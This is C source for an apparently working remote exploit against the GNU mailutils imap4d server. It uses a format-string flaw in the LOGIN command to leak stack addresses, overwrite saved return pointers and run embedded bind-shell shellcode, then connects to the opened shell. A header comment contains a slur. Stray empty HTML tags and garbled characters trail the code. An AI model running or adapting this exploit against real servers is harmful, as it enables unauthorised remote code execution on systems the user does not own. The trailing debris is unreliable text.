/* * imap4d_expl.c - GNU mailutils imap4d format string vuln exploit. * * This code is unfinished and buggy, there are somewhere bugs that make it * crash, but im too lazy to fix them :) * * Exploitation: * The exploit assumes there is no user input on the stack that is reachable * with the format string, because on some systems (i think Debian Sarge was * on of them) it is the case. * The exploit trys to guess the address of a saved eip and then overwrites * some saved ebps to make them point to the guessed eip address, so we can * use these as pointers for the eip overwriting. * The exploit sends always a request of the same length, so always the same * chunk of memory in the heap is allocated for the request. * In the information gathering step it reads potential pointers to the chunk * and later trys each of them as return address. * * * This exploit was not written by rave of Rosiello Security. * Some fag posted it to fd to annoy me and faked the header. * * - crash-x */ #include #include #include #include #include #include #include #include #include #include //#define DEBUG #define SHELL_PORT "34563" #define SHELL_COMMAND "uname -a; id;" #define PORT_OFFSET 20 #define ARG_1_LENGH 180 #define ARG_3_LENGH 315 #define SLEEP 1 /* by unknown */ char shellcode[] = "\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66\xcd" "\x80\x31\xd2\x52\x66\x68\x13\xd2\x43\x66\x53\x89\xe1\x6a" "\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\x40\x89\x44\x24\x04" "\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52\x52\x43\xb0\x66" "\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80\x41\x80\xf9\x03\x75" "\xf6\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3" "\x52\x53\x89\xe1\xb0\x0b\xcd\x80"; void prepare(int arg){ int port=htons(arg), p1, p2; p2 = (port & 0xff00) >> 8; p1 = (port & 0x00ff); shellcode[PORT_OFFSET] = p1; shellcode[PORT_OFFSET+1] = p2; } struct framep { int addr; unsigned short dpa_offset; }; struct targ{ unsigned int retloc; /* the eip */ /* * possible retaddrs, we have to bruteforce a * little bit to find the username field on heap */ int pretaddr[10]; int ret_count; struct framep ebps[8]; int ebp_count; int use_ebp1; int use_ebp2; unsigned short ebp1_offset; /* DPA offset of the first ebp */ unsigned short ebp2_offset; unsigned short retl_high_offset; /* DPA offset of high part of the retloc */ unsigned short retl_low_offset; } target; void usage(char *a){ printf("[-] Usage: %s -h [options]\n", a); printf("[!] Options:\n"); printf("\t\t-h\tHostname which you want attack (required)\n"); printf("\t\t-p\tPort of the imapd (default: 143)\n"); printf("\t\t-s\tHow long to sleep before try connect to shell (default: %d)\n", SLEEP); exit(1); } int sockprintf(int sock, const char *s, ...){ char *ptr; int bytes; va_list arg; va_start(arg, s); if(vasprintf(&ptr, s, arg) == -1){ free(ptr); return -1; } va_end(arg); if((bytes = send(sock, ptr, strlen(ptr), 0)) == -1){ /* free(ptr); do'h... shame on me.... */ return -1; } free(ptr); return bytes; } void statusf(const char *s, ...){ va_list arg; va_start(arg, s); vprintf(s, arg); fflush(stdout); } int resolv(struct sockaddr_in *addr, char *hostn){ struct hostent *host; if (!inet_aton(hostn, &addr->sin_addr)){ host = gethostbyname(hostn); if (host == NULL){ printf("[-] Wasnt able to resolve %s!\n", hostn); return -1; } addr->sin_addr = *(struct in_addr*)host->h_addr; } return 0; } int conn(struct sockaddr_in addr, int port){ int sock; if((sock = socket(PF_INET, SOCK_STREAM, 0)) == -1){ return -1; } addr.sin_port = htons(port); addr.sin_family = AF_INET; if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) == -1){ return -1; } return sock; } int get_shell(struct sockaddr_in addr, int port, int sleeps){ int sock; char buffer[1024]; fd_set fds; sleep(sleeps); if((sock = conn(addr, port)) == -1) return (-1); printf("[+]\n[+] Wooohooo we got a shell!\n"); sockprintf(sock, SHELL_COMMAND"\r\n"); while(1){ FD_ZERO(&fds); FD_SET(0, &fds); FD_SET(sock, &fds); if (select(255, &fds, NULL, NULL, NULL) == -1){ fprintf(stderr,"[-] sending failed\n"); close(sock); exit(1); } memset(buffer, 0x0, sizeof(buffer)); if (FD_ISSET(sock, &fds)){ if (recv(sock, buffer, sizeof(buffer), 0) == -1){ fprintf(stderr, "[-] Connection closed by remote host!\n"); close(sock); exit(1); } fprintf(stderr, "%s", buffer); } if (FD_ISSET(0, &fds)){ read(0, buffer, sizeof(buffer)); write(sock, buffer, strlen(buffer)); } } return 0; } void gen_req2(char *buffer, unsigned int size, unsigned short count){ unsigned short high, low; high = (target.pretaddr[count] & 0xffff0000) >> 16; low = (target.pretaddr[count] & 0x0000ffff); memset(buffer, 0x0, size); snprintf(buffer, size-1, "%%.%uu%%%d$hn%%.%uu%%%d$hn", high, target.retl_high_offset, (low-high), target.retl_low_offset); if(strlen(buffer) > 135){ printf("[-] get_info failed, this really shouldnt happen...\n"); exit(-1); } memset(buffer + strlen(buffer), 0x41, 135 - strlen(buffer)); strncat(buffer, " LOGIN ", size - strlen(buffer) - 1); memset(buffer + strlen(buffer), 0x90, 353); if(strlen(shellcode) > 350){ printf("[-] The shellcode (%d bytes) is too big, maximal size is 350\n", strlen(shellcode)); exit(-1); } memcpy(buffer + strlen(buffer) - strlen(shellcode) - 2, shellcode, strlen(shellcode)); buffer[strlen(buffer)] = ' '; strncat(buffer, "BBBB", size - strlen(buffer) - 1); } void gen_req1(char *buffer, unsigned int size){ unsigned short retl; retl = (target.retloc & 0x0000ffff); memset(buffer, 0x0, size); snprintf(buffer, size-1, "%%.%uu%%%d$hn__%%%d$hn", retl, target.ebps[target.ebp_count - 2].dpa_offset, target.ebps[target.ebp_count - 1].dpa_offset); if(strlen(buffer) > 135){ printf("[-] get_info failed, this really shouldnt happen, wtf did you do?\n"); exit(-1); } memset(buffer + strlen(buffer), 0x41, ARG_1_LENGH - strlen(buffer)); strncat(buffer, " LOGIN ", size - strlen(buffer) - 1); memset(buffer + strlen(buffer), 0x41, ARG_3_LENGH); strncat(buffer, " BBBB", size - strlen(buffer) - 1); } void gen_info_req(char *buffer, unsigned int size, int offset){ int i; memset(buffer, 0x0, size); if(offset == 0) for(i = 0; i < 60; i++) strncat(buffer, "_%p", size - strlen(buffer) - 1); else for(i = 0; i < 30; i++) snprintf(buffer + strlen(buffer), size - strlen(buffer), "_%%%d$p", offset+i); strncat(buffer, " LOGIN ", size - strlen(buffer) - 1); memset(buffer + strlen(buffer), 0x41, ARG_3_LENGH); strncat(buffer, " BBBB", size - strlen(buffer) - 1); } void get_infos(int sock){ char buffer[1024], ibuffer[1024], *ptr; int i, j, bytes, ebp_tmp, offset, ret_tmp; gen_info_req(ibuffer, sizeof(ibuffer), 0); #ifdef DEBUG printf("[D] Sending: %s\n", ibuffer); #endif if(sockprintf(sock, "%s\r\n", ibuffer) == -1){ printf("[-] Wasnt able to determine infos\n"); exit(-1); } if((bytes = recv(sock, buffer, sizeof(buffer) - 1, 0)) == -1){ printf("[-] Wasnt able to determine infos\n"); exit(-1); } buffer[bytes] = 0x0; #ifdef DEBUG printf("[D] Recived: %s\n", buffer); #endif memset(&target, 0x0, sizeof(target)); ptr = buffer; for(i = 1; (ptr = strchr(ptr, '_')); i++){ ptr++; if(!strncmp(ptr, "0xbfff", 6) && target.ebp_count < 8){ ebp_tmp = strtoul(ptr,NULL,0); if(!(ptr = strchr(ptr, '_'))){ i++; continue; } ptr++; i++; if(strncmp(ptr, "0x80", 4) && strncmp(ptr, "0x080", 5) && strncmp(ptr, "0x40", 4) && strncmp(ptr, "0x040", 5)) continue; for(j = 0; j < target.ebp_count; j++) if(target.ebps[j].addr == ebp_tmp) ebp_tmp = 0x0; if(ebp_tmp == 0x0) continue; target.ebps[target.ebp_count].addr = ebp_tmp; target.ebps[target.ebp_count].dpa_offset = i - 1; #ifdef DEBUG printf("[D] Found possible ebp: %p offset: %d\n", target.ebps[target.ebp_count].addr, target.ebps[target.ebp_count].dpa_offset); #endif target.ebp_count++; continue; } /* * In the function util_do_command a pointer to the username is stored. username * points to the second "word" of the string which we send. if we send always a * string with 4 "words", which have in each request the same lengh, * (word 1: 135bytes, string " LOGIN ", word 3: 353 bytes and word 4: 4 bytes, * we will get always the same chunk of memory from malloc. So the address where * username points to will always point to our 3. word, which will be in the last * request our shellcode. * The problem is, we know only that our string is on the heap, but there are a lot * of pointers to addresses that could be the heap. so we just copy the first 10 pointers * to 0x80* and try later each of them. bruteforcing 10 addresses wont take too long. */ if(target.ret_count < 10 && (!strncmp(ptr, "0x80", 4) || !strncmp(ptr, "0x080", 5))){ ret_tmp = strtoul(ptr,NULL,0); for(j = 0; j < target.ret_count; j++) if(target.pretaddr[j] == ret_tmp) ebp_tmp = 0x0; if(ebp_tmp == 0x0) continue; target.pretaddr[target.ret_count] = ret_tmp; #ifdef DEBUG printf("[D] Added %p to the possible retaddr table\n", target.pretaddr[target.ret_count]); #endif target.ret_count++; } } target.retloc = target.ebps[0].addr + 4; target.use_ebp1 = target.ebp_count - 2; target.use_ebp2 = target.ebp_count - 1; #ifdef DEBUG printf("[D] retloc: %p\n", target.retloc); #endif /* * we overwrite the ebp of imap4d_daemon and imap4d_mainloop with the address of the * saved eip of util_do_command so we can use these to overwrite the eip with our retloc. */ gen_req1(buffer, sizeof(buffer)); #ifdef DEBUG printf("[D] Press enter to continue\n"); getchar(); #endif sockprintf(sock, "%s\r\n", buffer); #ifdef DEBUG printf("[D] Sent: %s\n", buffer); #endif memset(buffer, 0x0, sizeof(buffer)); while((bytes = recv(sock, buffer, sizeof(buffer) - 1, 0))){ buffer[bytes] = 0x0; if(strstr(buffer, "\r\n")) break; } for(i = 0, offset = target.ebps[target.ebp_count - 2].dpa_offset; i < 4; i++){ gen_info_req(ibuffer, sizeof(ibuffer), offset); sockprintf(sock, "%s\r\n", ibuffer); #ifdef DEBUG printf("[D] Sent ibuf: %s\n", ibuffer); #endif if((bytes = recv(sock, buffer, sizeof(buffer) - 1, 0)) == -1){ printf("[-] Wasnt able to determine infos\n"); exit(-1); } buffer[bytes] = 0x0; #ifdef DEBUG printf("[D] Recived ibuf: %s\n", buffer); #endif ptr = buffer; for(j = 1; (ptr = strchr(ptr, '_')); j++){ ptr++; if(target.retl_low_offset == 0 && strtoul(ptr, NULL, 0) == target.retloc) target.retl_low_offset = j + offset - 1; else if(target.retl_high_offset == 0&& strtoul(ptr, NULL, 0) == target.retloc + 2 ) target.retl_high_offset = j + offset - 1; } #ifdef DEBUG printf("rl low: %d rl high %d\n", target.retl_low_offset, target.retl_high_offset); #endif if(target.retl_low_offset != 0 && target.retl_high_offset != 0) break; offset += 30; } if(target.retl_low_offset == 0 || target.retl_high_offset == 0){ printf("[-] Wasnt able to find retloc on stack\n"); exit(-1); } #ifdef DEBUG printf("[D] Retloc low offset: %d Retloc high offset: %d\n", target.retl_low_offset, target.retl_high_offset); #endif } int main(int argc, char **argv){ char *hostn = NULL, buffer[1024]; int i, sock, opt, port = 143, shell_port = atoi(SHELL_PORT), sleeps = SLEEP, bytes; struct sockaddr_in addr; printf("[!] mailutils imapd4d universal(?) exploit v 0.5 by crash-x\n"); while ((opt = getopt (argc, argv, "h:p:s:P:")) != -1){ switch (opt){ case 'h': hostn = optarg; break; case 'p': port = atoi(optarg); if(port > 65535 || port < 1){ printf("[-] Port %d is invalid\n",port); return 1; } break; case 's': sleeps = atoi(optarg); break; case 'P': shell_port = atoi(optarg); break; default: usage(argv[0]); } } if(hostn == NULL) usage(argv[0]); prepare(shell_port); resolv(&addr, hostn); printf("[!] Connecting to %s\n", hostn); if((sock = conn(addr, port)) == -1){ printf("[-] Connecting failed!\n"); return -1; } printf("[+] Connected!\n"); recv(sock, buffer, sizeof(buffer), 0); get_infos(sock); printf("[+] We got all infos, which we need, lets start!\n"); close(sock); for(i = 0; i < target.ret_count; i++) { statusf("[%d] Trying retaddr %p\r", i+1, target.pretaddr[i]); if((sock = conn(addr, port)) == -1){ printf("[-] Connecting failed!\n"); return -1; } if(!(bytes = recv(sock, buffer, sizeof(buffer), 0))){ printf("[-] Wasnt able to recive data from server\n"); exit(-1); } gen_req1(buffer, sizeof(buffer)); sockprintf(sock, "%s\r\n", buffer); while((bytes = recv(sock, buffer, sizeof(buffer) - 1, 0)) > 0){ buffer[bytes] = 0x0; if(strstr(buffer, "\r\n")) break; } gen_req2(buffer, sizeof(buffer), i); #ifdef DEBUG printf("[D] Press enter to continue\n"); getchar(); #endif sockprintf(sock, "%s\r\n", buffer); while((bytes = recv(sock, buffer, sizeof(buffer) - 1, 0)) > 0){ buffer[bytes] = 0x0; if(strstr(buffer, "\r\n")) break; } #ifdef DEBUG printf("[D] Press enter to continue\n"); getchar(); #endif close(sock); get_shell(addr, shell_port, 1); } printf("\n[-] Exploit failed\n"); return 0; }
<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            ÑÇÖÞÅ·ÃÀÔÚÏß